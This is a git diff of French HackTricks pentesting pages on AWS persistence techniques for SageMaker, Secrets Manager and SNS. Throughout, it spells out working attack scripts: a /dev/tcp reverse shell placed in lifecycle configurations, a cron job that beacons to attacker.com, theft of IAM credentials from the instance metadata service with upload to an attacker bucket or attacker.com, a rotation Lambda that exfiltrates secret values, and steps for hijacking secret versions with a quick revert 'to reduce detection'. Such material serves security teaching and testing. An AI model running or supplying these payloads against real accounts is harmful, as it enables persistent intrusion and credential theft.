-``` -## Configurer la configuration du cycle de vie sur les instances de notebook - -### Exemples de commandes AWS CLI : -```bash -# Create Lifecycle Configuration* - -aws sagemaker create-notebook-instance-lifecycle-config \ ---notebook-instance-lifecycle-config-name attacker-lcc \ ---on-start Content=$(base64 -w0 reverse_shell.sh) - - -# Attach Lifecycle Configuration to Notebook Instance* - -aws sagemaker update-notebook-instance \ ---notebook-instance-name victim-instance \ ---lifecycle-config-name attacker-lcc -``` -## Configurer la configuration du cycle de vie sur SageMaker Studio - -Les configurations de cycle de vie peuvent être attachées à différents niveaux et à différents types d'applications au sein de SageMaker Studio. - -### Niveau de domaine Studio (Tous les utilisateurs) -```bash -# Create Studio Lifecycle Configuration* - -aws sagemaker create-studio-lifecycle-config \ ---studio-lifecycle-config-name attacker-studio-lcc \ ---studio-lifecycle-config-app-type JupyterServer \ ---studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) - - -# Apply LCC to entire Studio Domain* - -aws sagemaker update-domain --domain-id --default-user-settings '{ -"JupyterServerAppSettings": { -"DefaultResourceSpec": {"LifecycleConfigArn": ""} -} -}' -``` -### Niveau de l'Espace Studio (Espaces Individuels ou Partagés) -```bash -# Update SageMaker Studio Space to attach LCC* - -aws sagemaker update-space --domain-id --space-name --space-settings '{ -"JupyterServerAppSettings": { -"DefaultResourceSpec": {"LifecycleConfigArn": ""} -} -}' -``` -## Types of Studio Application Lifecycle Configurations - -Les configurations de cycle de vie peuvent être spécifiquement appliquées à différents types d'applications SageMaker Studio : -* JupyterServer : Exécute des scripts lors du démarrage du serveur Jupyter, idéal pour des mécanismes de persistance comme des shells inversés et des tâches cron. -* KernelGateway : S'exécute lors du lancement de l'application de passerelle de noyau, utile pour la configuration initiale ou l'accès persistant. -* CodeEditor : S'applique à l'éditeur de code (Code-OSS), permettant l'exécution de scripts au début des sessions d'édition de code. - -### Example Command for Each Type: - -### JupyterServer -```bash -aws sagemaker create-studio-lifecycle-config \ ---studio-lifecycle-config-name attacker-jupyter-lcc \ ---studio-lifecycle-config-app-type JupyterServer \ ---studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) -``` -### KernelGateway -```bash -aws sagemaker create-studio-lifecycle-config \ ---studio-lifecycle-config-name attacker-kernelgateway-lcc \ ---studio-lifecycle-config-app-type KernelGateway \ ---studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh) -``` -### CodeEditor -```bash -aws sagemaker create-studio-lifecycle-config \ ---studio-lifecycle-config-name attacker-codeeditor-lcc \ ---studio-lifecycle-config-app-type CodeEditor \ ---studio-lifecycle-config-content $(base64 -w0 editor_persist.sh) -``` -### Informations critiques : -* Attacher des LCCs au niveau du domaine ou de l'espace impacte tous les utilisateurs ou applications dans le périmètre. -* Nécessite des permissions plus élevées (sagemaker:UpdateDomain, sagemaker:UpdateSpace) généralement plus réalisables au niveau de l'espace qu'au niveau du domaine. -* Les contrôles au niveau du réseau (par exemple, filtrage sortant strict) peuvent empêcher des shells inversés réussis ou l'exfiltration de données. - -## Shell inversé via Configuration de Cycle de Vie - -Les Configurations de Cycle de Vie SageMaker (LCCs) exécutent des scripts personnalisés lorsque les instances de notebook démarrent. Un attaquant avec des permissions peut établir un shell inversé persistant. - -### Exemple de Payload : -``` -#!/bin/bash -ATTACKER_IP="" -ATTACKER_PORT="" -nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 & -``` -## Persistance par Cron Job via Configuration de Cycle de Vie - -Un attaquant peut injecter des cron jobs à travers des scripts LCC, garantissant l'exécution périodique de scripts ou de commandes malveillants, permettant une persistance discrète. - -### Exemple de Charge Utile : -``` -#!/bin/bash -PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py" -CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH" -CRON_JOB="*/30 * * * * $CRON_CMD" - -mkdir -p /home/ec2-user/SageMaker/.local_tasks -echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH -chmod +x $PAYLOAD_PATH - -(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user - -``` -## Exfiltration de crédentiels via IMDS (v1 & v2) - -Les configurations de cycle de vie peuvent interroger le Service de Métadonnées d'Instance (IMDS) pour récupérer des crédentiels IAM et les exfiltrer vers un emplacement contrôlé par un attaquant. - -### Exemple de Payload : -```bash -#!/bin/bash -ATTACKER_BUCKET="s3://attacker-controlled-bucket" -TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") -ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/) -curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json - -# Exfiltrate via S3* - -aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json - -# Alternatively, exfiltrate via HTTP POST* - -curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md new file mode 100644 index 000000000..65bdf768a --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md @@ -0,0 +1,230 @@ +# AWS - SageMaker Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## Vue d'ensemble des techniques de persistance + +Cette section décrit des méthodes pour obtenir de la persistance dans SageMaker en abusant des Lifecycle Configurations (LCCs), y compris reverse shells, cron jobs, credential theft via IMDS, et SSH backdoors. Ces scripts s'exécutent avec l'IAM role de l'instance et peuvent persister après des redémarrages. La plupart des techniques requièrent un accès réseau sortant, mais l'utilisation de services sur le AWS control plane peut néanmoins permettre de réussir si l'environnement est en 'VPC-only" mode. + +> [!TIP] +> Remarque : SageMaker notebook instances sont essentiellement des instances EC2 gérées, configurées spécifiquement pour des charges de travail d'apprentissage automatique. + +## Autorisations requises +* Notebook Instances: +``` +sagemaker:CreateNotebookInstanceLifecycleConfig +sagemaker:UpdateNotebookInstanceLifecycleConfig +sagemaker:CreateNotebookInstance +sagemaker:UpdateNotebookInstance +``` +* Applications Studio: +``` +sagemaker:CreateStudioLifecycleConfig +sagemaker:UpdateStudioLifecycleConfig +sagemaker:UpdateUserProfile +sagemaker:UpdateSpace +sagemaker:UpdateDomain +``` +## Configurer la Lifecycle Configuration sur les Notebook Instances + +### Exemples de commandes AWS CLI : +```bash +# Create Lifecycle Configuration* + +aws sagemaker create-notebook-instance-lifecycle-config \ +--notebook-instance-lifecycle-config-name attacker-lcc \ +--on-start Content=$(base64 -w0 reverse_shell.sh) + + +# Attach Lifecycle Configuration to Notebook Instance* + +aws sagemaker update-notebook-instance \ +--notebook-instance-name victim-instance \ +--lifecycle-config-name attacker-lcc +``` +## Configurer une Lifecycle Configuration sur SageMaker Studio + +Les Lifecycle Configurations peuvent être attachées à plusieurs niveaux et à différents types d'applications dans SageMaker Studio. + +### Niveau du domaine Studio (tous les utilisateurs) +```bash +# Create Studio Lifecycle Configuration* + +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-studio-lcc \ +--studio-lifecycle-config-app-type JupyterServer \ +--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) + + +# Apply LCC to entire Studio Domain* + +aws sagemaker update-domain --domain-id --default-user-settings '{ +"JupyterServerAppSettings": { +"DefaultResourceSpec": {"LifecycleConfigArn": ""} +} +}' +``` +### Studio Space Niveau (Spaces individuels ou partagés) +```bash +# Update SageMaker Studio Space to attach LCC* + +aws sagemaker update-space --domain-id --space-name --space-settings '{ +"JupyterServerAppSettings": { +"DefaultResourceSpec": {"LifecycleConfigArn": ""} +} +}' +``` +## Types de configurations du cycle de vie des applications Studio + +Les configurations du cycle de vie peuvent être appliquées spécifiquement à différents types d'applications SageMaker Studio : +* JupyterServer: Exécute des scripts au démarrage du serveur Jupyter, idéal pour des mécanismes de persistance comme les reverse shells et les cron jobs. +* KernelGateway: S'exécute au lancement de l'application kernel gateway, utile pour la configuration initiale ou un accès persistant. +* CodeEditor: S'applique au Code Editor (Code-OSS), permettant l'exécution de scripts au démarrage des sessions d'édition de code. + +### Exemple de commande pour chaque type : + +### JupyterServer +```bash +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-jupyter-lcc \ +--studio-lifecycle-config-app-type JupyterServer \ +--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) +``` +### KernelGateway +```bash +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-kernelgateway-lcc \ +--studio-lifecycle-config-app-type KernelGateway \ +--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh) +``` +### CodeEditor +```bash +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-codeeditor-lcc \ +--studio-lifecycle-config-app-type CodeEditor \ +--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh) +``` +### Critical Info: +* L'attachement de LCCs au niveau du domaine ou de l'espace impacte tous les utilisateurs ou applications dans le périmètre. +* Nécessite des permissions élevées (sagemaker:UpdateDomain, sagemaker:UpdateSpace) — généralement plus faisable au niveau de l'espace qu'au niveau du domaine. +* Des contrôles au niveau réseau (p. ex., strict egress filtering) peuvent empêcher les reverse shells réussis ou la data exfiltration. + +## Reverse Shell via Lifecycle Configuration + +SageMaker Lifecycle Configurations (LCCs) exécutent des scripts personnalisés lorsque les instances de notebook démarrent. Un attaquant disposant des permissions peut établir un reverse shell persistant. + +### Payload Example: +``` +#!/bin/bash +ATTACKER_IP="" +ATTACKER_PORT="" +nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 & +``` +## Cron Job Persistence via Lifecycle Configuration + +Un attaquant peut injecter des cron jobs via des scripts LCC, garantissant l'exécution périodique de scripts ou commandes malveillants, permettant une persistence furtive. + +### Payload Example: +``` +#!/bin/bash +PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py" +CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH" +CRON_JOB="*/30 * * * * $CRON_CMD" + +mkdir -p /home/ec2-user/SageMaker/.local_tasks +echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH +chmod +x $PAYLOAD_PATH + +(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user - +``` +## Credential Exfiltration via IMDS (v1 & v2) + +Les configurations de lifecycle peuvent interroger l'Instance Metadata Service (IMDS) pour récupérer des identifiants IAM et les exfiltrer vers un emplacement contrôlé par un attaquant. + +### Payload Example: +```bash +#!/bin/bash +ATTACKER_BUCKET="s3://attacker-controlled-bucket" +TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") +ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/) +curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json + +# Exfiltrate via S3* + +aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json + +# Alternatively, exfiltrate via HTTP POST* + +curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload +``` +## Persistance via la politique basée sur la ressource du Model Registry (PutModelPackageGroupPolicy) + +Abusez la politique basée sur la ressource d'un SageMaker Model Package Group pour accorder à un principal externe des droits cross-account (p.ex., CreateModelPackage/Describe/List). Cela crée une porte dérobée durable permettant de pousser des versions de modèle empoisonnées ou de lire les métadonnées/artéfacts du modèle, même si l'IAM user/role de l'attaquant dans le compte victime est supprimé. + +Required permissions +- sagemaker:CreateModelPackageGroup +- sagemaker:PutModelPackageGroupPolicy +- sagemaker:GetModelPackageGroupPolicy + +Étapes (us-east-1) +```bash +# 1) Create a Model Package Group +REGION=${REGION:-us-east-1} +MPG=atk-mpg-$(date +%s) +aws sagemaker create-model-package-group \ +--region "$REGION" \ +--model-package-group-name "$MPG" \ +--model-package-group-description "Test backdoor" + +# 2) Craft a cross-account resource policy (replace 111122223333 with attacker account) +cat > /tmp/mpg-policy.json <:model-package-group/${MPG}", +"arn:aws:sagemaker:${REGION}::model-package/${MPG}/*" +] +} +] +} +JSON + +# 3) Attach the policy to the group +aws sagemaker put-model-package-group-policy \ +--region "$REGION" \ +--model-package-group-name "$MPG" \ +--resource-policy "$(jq -c . /tmp/mpg-policy.json)" + +# 4) Retrieve the policy (evidence) +aws sagemaker get-model-package-group-policy \ +--region "$REGION" \ +--model-package-group-name "$MPG" \ +--query ResourcePolicy --output text +``` +Remarques +- Pour une vraie backdoor cross-account, restreignez Resource à l'ARN du groupe spécifique et utilisez l'ID de compte AWS de l'attacker dans Principal. +- Pour un déploiement cross-account de bout en bout ou des lectures d'artifacts, alignez les grants S3/ECR/KMS avec l'attacker account. + +Impact +- Contrôle persistant cross-account d'un Model Registry group : l'attacker peut publier des versions de modèle malveillantes ou énumérer/lire les métadonnées des modèles même après que leurs entités IAM ont été supprimées dans le victim account. + +## Backdoor cross-account du Model Registry Canvas (UpdateUserProfile.ModelRegisterSettings) + +Exploiter les paramètres utilisateur de SageMaker Canvas pour rediriger silencieusement les écritures du model registry vers un compte contrôlé par l'attacker en activant ModelRegisterSettings et en pointant CrossAccountModelRegisterRoleArn vers un attacker role dans un autre compte. + +Permissions requises +- sagemaker:UpdateUserProfile sur le UserProfile cible +- Optionnel : sagemaker:CreateUserProfile sur un Domain que vous contrôlez + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md deleted file mode 100644 index 2f95ab5d2..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md +++ /dev/null @@ -1,51 +0,0 @@ -# AWS - Persistence du Secrets Manager - -{{#include ../../../banners/hacktricks-training.md}} - -## Secrets Manager - -Pour plus d'infos, consultez : - -{{#ref}} -../aws-services/aws-secrets-manager-enum.md -{{#endref}} - -### Via les politiques de ressources - -Il est possible de **donner accès aux secrets à des comptes externes** via des politiques de ressources. Consultez la [**page Privesc du Secrets Manager**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) pour plus d'informations. Notez que pour **accéder à un secret**, le compte externe devra également **avoir accès à la clé KMS chiffrant le secret**. - -### Via Lambda de rotation des secrets - -Pour **faire tourner les secrets** automatiquement, une **Lambda** configurée est appelée. Si un attaquant pouvait **modifier** le **code**, il pourrait directement **exfiltrer le nouveau secret** pour lui-même. - -Voici à quoi pourrait ressembler le code lambda pour une telle action : -```python -import boto3 - -def rotate_secrets(event, context): -# Create a Secrets Manager client -client = boto3.client('secretsmanager') - -# Retrieve the current secret value -secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString'] - -# Rotate the secret by updating its value -new_secret_value = rotate_secret(secret_value) -client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value) - -def rotate_secret(secret_value): -# Perform the rotation logic here, e.g., generate a new password - -# Example: Generate a new password -new_secret_value = generate_password() - -return new_secret_value - -def generate_password(): -# Example: Generate a random password using the secrets module -import secrets -import string -password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16)) -return password -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md new file mode 100644 index 000000000..c57ed49cb --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md @@ -0,0 +1,234 @@ +# AWS - Secrets Manager Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## Secrets Manager + +Pour plus d'informations, consultez : + +{{#ref}} +../../aws-services/aws-secrets-manager-enum.md +{{#endref}} + +### Via Resource Policies + +Il est possible d'**accorder l'accès aux secrets à des comptes externes** via resource policies. Consultez la [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) pour plus d'informations. Notez que pour **accéder à un secret**, le compte externe devra également **avoir accès à la clé KMS chiffrant le secret**. + +### Via Secrets Rotate Lambda + +Pour **rotate secrets** automatiquement, une **Lambda** configurée est appelée. Si un attaquant pouvait **modifier** le **code**, il pourrait directement **exfiltrer le nouveau secret** vers lui-même. + +This is how lambda code for such action could look like: +```python +import boto3 + +def rotate_secrets(event, context): +# Create a Secrets Manager client +client = boto3.client('secretsmanager') + +# Retrieve the current secret value +secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString'] + +# Rotate the secret by updating its value +new_secret_value = rotate_secret(secret_value) +client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value) + +def rotate_secret(secret_value): +# Perform the rotation logic here, e.g., generate a new password + +# Example: Generate a new password +new_secret_value = generate_password() + +return new_secret_value + +def generate_password(): +# Example: Generate a random password using the secrets module +import secrets +import string +password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16)) +return password +``` +{{#include ../../../../banners/hacktricks-training.md}} + + + + + +### Remplacer la Lambda de rotation par une fonction contrôlée par l'attaquant via RotateSecret + +Abuser de `secretsmanager:RotateSecret` pour lier à nouveau un secret à une Lambda de rotation contrôlée par l'attaquant et déclencher une rotation immédiate. La fonction malveillante exfiltre les versions du secret (AWSCURRENT/AWSPENDING) pendant les étapes de rotation (createSecret/setSecret/testSecret/finishSecret) vers un point d'exfiltration contrôlé par l'attaquant (par ex., S3 ou HTTP externe). + +- Prérequis +- Autorisations : `secretsmanager:RotateSecret`, `lambda:InvokeFunction` sur la Lambda de l'attaquant, `iam:CreateRole/PassRole/PutRolePolicy` (ou AttachRolePolicy) pour provisionner le rôle d'exécution de la Lambda avec `secretsmanager:GetSecretValue` et de préférence `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (afin que la rotation continue de fonctionner), KMS `kms:Decrypt` pour la clé KMS du secret, et `s3:PutObject` (ou egress sortant) pour l'exfiltration. +- Un SecretId cible (`SecretId`) avec la rotation activée ou la capacité d'activer la rotation. + +- Impact +- L'attaquant obtient la ou les valeurs du secret sans modifier le code de rotation légitime. Seule la configuration de rotation est modifiée pour pointer vers la Lambda de l'attaquant. Si cela n'est pas détecté, les rotations programmées futures continueront d'invoquer la fonction de l'attaquant. + +- Étapes de l'attaque (CLI) +1) Préparer le point d'exfiltration de l'attaquant et le rôle Lambda +- Créer un bucket S3 pour l'exfiltration et un rôle d'exécution approuvé pour Lambda avec les autorisations pour lire le secret et écrire dans S3 (plus logs/KMS selon besoin). +2) Déployer la Lambda de l'attaquant qui, à chaque étape de rotation, récupère la ou les valeurs du secret et les écrit dans S3. Une logique minimale de rotation peut simplement copier AWSCURRENT vers AWSPENDING et le promouvoir dans finishSecret pour maintenir le service en bon état. +3) Réaffecter la rotation et déclencher +- `aws secretsmanager rotate-secret --secret-id --rotation-lambda-arn --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately` +4) Vérifier l'exfiltration en listant le préfixe S3 pour ce secret et en inspectant les artefacts JSON. +5) (Optionnel) Restaurer la Lambda de rotation d'origine pour réduire la détection. + +- Exemple de Lambda attaquante (Python) exfiltrant vers S3 +- Environment: `EXFIL_BUCKET=` +- Handler: `lambda_function.lambda_handler` +```python +import boto3, json, os, base64, datetime +s3 = boto3.client('s3') +sm = boto3.client('secretsmanager') +BUCKET = os.environ['EXFIL_BUCKET'] + +def write_s3(key, data): +s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json') + +def lambda_handler(event, context): +sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step'] +# Exfil both stages best-effort +def getv(**kw): +try: +r = sm.get_secret_value(**kw) +return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')} +except Exception as e: +return {'error': str(e)} +current = getv(SecretId=sid, VersionStage='AWSCURRENT') +pending = getv(SecretId=sid, VersionStage='AWSPENDING') +key = f"{sid.replace(':','_')}/{step}/{token}.json" +write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending}) +# Minimal rotation (optional): copy current->pending and promote in finishSecret +# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage) +``` +### Version Stage Hijacking pour persistance discrète (stage personnalisé + basculement rapide AWSCURRENT) + +Exploitez les labels de staging de version de Secrets Manager pour implanter une version de secret contrôlée par l'attaquant et la garder cachée sous un stage personnalisé (par exemple, `ATTACKER`) tandis que la production continue d'utiliser l'`AWSCURRENT`. À tout moment, déplacez `AWSCURRENT` vers la version de l'attaquant pour empoisonner les workloads dépendants, puis restaurez-le pour minimiser la détection. Cela fournit une persistance backdoor discrète et une manipulation rapide au moment de l'utilisation sans changer le nom du secret ni la configuration de rotation. + +- Exigences +- Permissions: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (pour vérification) +- ID du secret cible dans la région. + +- Impact +- Maintenir une version cachée et contrôlée par l'attaquant d'un secret et basculer atomiquement l'`AWSCURRENT` vers celle-ci à la demande, influençant tout consommateur résolvant le même nom de secret. Le basculement et la restauration rapide réduisent les chances de détection tout en permettant un compromis au moment de l'utilisation. + +- Étapes de l'attaque (CLI) +- Préparation +- `export SECRET_ID=` + +
+Commandes CLI +```bash +# 1) Capture current production version id (the one holding AWSCURRENT) +CUR=$(aws secretsmanager list-secret-version-ids \ +--secret-id "$SECRET_ID" \ +--query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \ +--output text) + +# 2) Create attacker version with known value (this will temporarily move AWSCURRENT) +BACKTOK=$(uuidgen) +aws secretsmanager put-secret-value \ +--secret-id "$SECRET_ID" \ +--client-request-token "$BACKTOK" \ +--secret-string {backdoor:hunter2!} + +# 3) Restore production and hide attacker version under custom stage +aws secretsmanager update-secret-version-stage \ +--secret-id "$SECRET_ID" \ +--version-stage AWSCURRENT \ +--move-to-version-id "$CUR" \ +--remove-from-version-id "$BACKTOK" + +aws secretsmanager update-secret-version-stage \ +--secret-id "$SECRET_ID" \ +--version-stage ATTACKER \ +--move-to-version-id "$BACKTOK" + +# Verify stages +aws secretsmanager list-secret-version-ids --secret-id "$SECRET_ID" --include-deprecated + +# 4) On-demand flip to the attacker’s value and revert quickly +aws secretsmanager update-secret-version-stage \ +--secret-id "$SECRET_ID" \ +--version-stage AWSCURRENT \ +--move-to-version-id "$BACKTOK" \ +--remove-from-version-id "$CUR" + +# Validate served plaintext now equals the attacker payload +aws secretsmanager get-secret-value --secret-id "$SECRET_ID" --query SecretString --output text + +# Revert to reduce detection +aws secretsmanager update-secret-version-stage \ +--secret-id "$SECRET_ID" \ +--version-stage AWSCURRENT \ +--move-to-version-id "$CUR" \ +--remove-from-version-id "$BACKTOK" +``` +
+ +- Remarques +- Lorsque vous fournissez `--client-request-token`, Secrets Manager l'utilise comme `VersionId`. L'ajout d'une nouvelle version sans définir explicitement `--version-stages` déplace `AWSCURRENT` vers la nouvelle version par défaut et marque la précédente comme `AWSPREVIOUS`. + + +### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy) + +Abuser de la réplication multi-Region de Secrets Manager pour créer une réplique d'un secret cible dans une Region moins surveillée, la chiffrer avec une clé KMS contrôlée par l'attaquant dans cette Region, puis promouvoir la réplique en tant que secret autonome et lui attacher une resource policy permissive accordant à l'attaquant l'accès en lecture. Le secret original dans la Region primaire reste inchangé, offrant un accès durable et discret à la valeur du secret via la réplique promue tout en contournant les contraintes KMS/policy sur le primaire. + +- Prérequis +- Autorisations : `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`. +- Dans la replica Region : `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (ou `kms:PutKeyPolicy`) pour permettre au principal attaquant `kms:Decrypt`. +- Un principal attaquant (utilisateur/rôle) devant recevoir l'accès en lecture au secret promu. + +- Impact +- Chemin d'accès persistant cross-Region à la valeur du secret via une réplique autonome sous une CMK KMS contrôlée par l'attaquant et une resource policy permissive. Le secret primaire dans la Region d'origine reste intact. + +- Attaque (CLI) +- Vars +```bash +export R1= # e.g., us-east-1 +export R2= # e.g., us-west-2 +export SECRET_ID= +export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) +export ATTACKER_ARN=:user/ or role> +``` +1) Créer une KMS key contrôlée par l'attaquant dans la région répliquée +```bash +cat > /tmp/kms_policy.json <<'JSON' +{"Version":"2012-10-17","Statement":[ +{"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"} +]} +JSON +KMS_KEY_ID=$(aws kms create-key --region "$R2" --description "Attacker CMK for replica" --policy file:///tmp/kms_policy.json \ +--query KeyMetadata.KeyId --output text) +aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-id "$KMS_KEY_ID" +# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal) +aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey +``` +2) Répliquer le secret vers R2 en utilisant la clé KMS de l'attaquant +```bash +aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \ +--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret +aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus' +``` +3) Promouvoir la réplique en instance autonome dans R2 +```bash +# Use the secret name (same across Regions) +NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text) +aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME" +aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME" +``` +4) Attacher une politique de ressources permissive sur le secret autonome dans R2 +```bash +cat > /tmp/replica_policy.json < \ ---protocol http \ ---notification-endpoint http:/// \ ---topic-arn -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md new file mode 100644 index 000000000..678b65584 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md @@ -0,0 +1,113 @@ +# AWS - SNS Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## SNS + +Pour plus d'informations, consultez : + +{{#ref}} +../../aws-services/aws-sns-enum.md +{{#endref}} + +### Persistence + +Lors de la création d'un **SNS topic** vous devez indiquer avec une IAM policy **qui a accès en lecture et en écriture**. Il est possible d'indiquer des comptes externes, ARN of roles, ou **même "\*"**.\ +La policy suivante donne à tout le monde dans AWS l'accès en lecture et en écriture au SNS topic appelé **`MySNS.fifo`**: +```json +{ +"Version": "2008-10-17", +"Id": "__default_policy_ID", +"Statement": [ +{ +"Sid": "__default_statement_ID", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": [ +"SNS:Publish", +"SNS:RemovePermission", +"SNS:SetTopicAttributes", +"SNS:DeleteTopic", +"SNS:ListSubscriptionsByTopic", +"SNS:GetTopicAttributes", +"SNS:AddPermission", +"SNS:Subscribe" +], +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo", +"Condition": { +"StringEquals": { +"AWS:SourceOwner": "318142138553" +} +} +}, +{ +"Sid": "__console_pub_0", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "SNS:Publish", +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" +}, +{ +"Sid": "__console_sub_0", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "SNS:Subscribe", +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" +} +] +} +``` +### Créer des abonnés + +Pour continuer à exfiltrer tous les messages de tous les topics, un attaquant pourrait **créer des abonnés pour tous les topics**. + +Notez que si le **topic est de type FIFO**, seuls les abonnés utilisant le protocole **SQS** peuvent être utilisés. +```bash +aws sns subscribe --region \ +--protocol http \ +--notification-endpoint http:/// \ +--topic-arn +``` +### Exfiltration covert et sélective via FilterPolicy on MessageBody + +Un attaquant disposant de `sns:Subscribe` et `sns:SetSubscriptionAttributes` sur un topic peut créer une subscription SQS furtive qui ne transmet que les messages dont le corps JSON correspond à un filtre très restreint (par exemple, `{"secret":"true"}`). Cela réduit le volume et la détection tout en exfiltrant des enregistrements sensibles. + +**Impact potentiel** : Exfiltration covert et peu bruyante uniquement des messages SNS ciblés depuis un topic victime. + +Étapes (AWS CLI) : +- Vérifier que la policy de la queue SQS de l'attaquant autorise `sqs:SendMessage` depuis le `TopicArn` de la victime (Condition `aws:SourceArn` égale au `TopicArn`). +- Créer la subscription SQS au topic : + +```bash +aws sns subscribe --region us-east-1 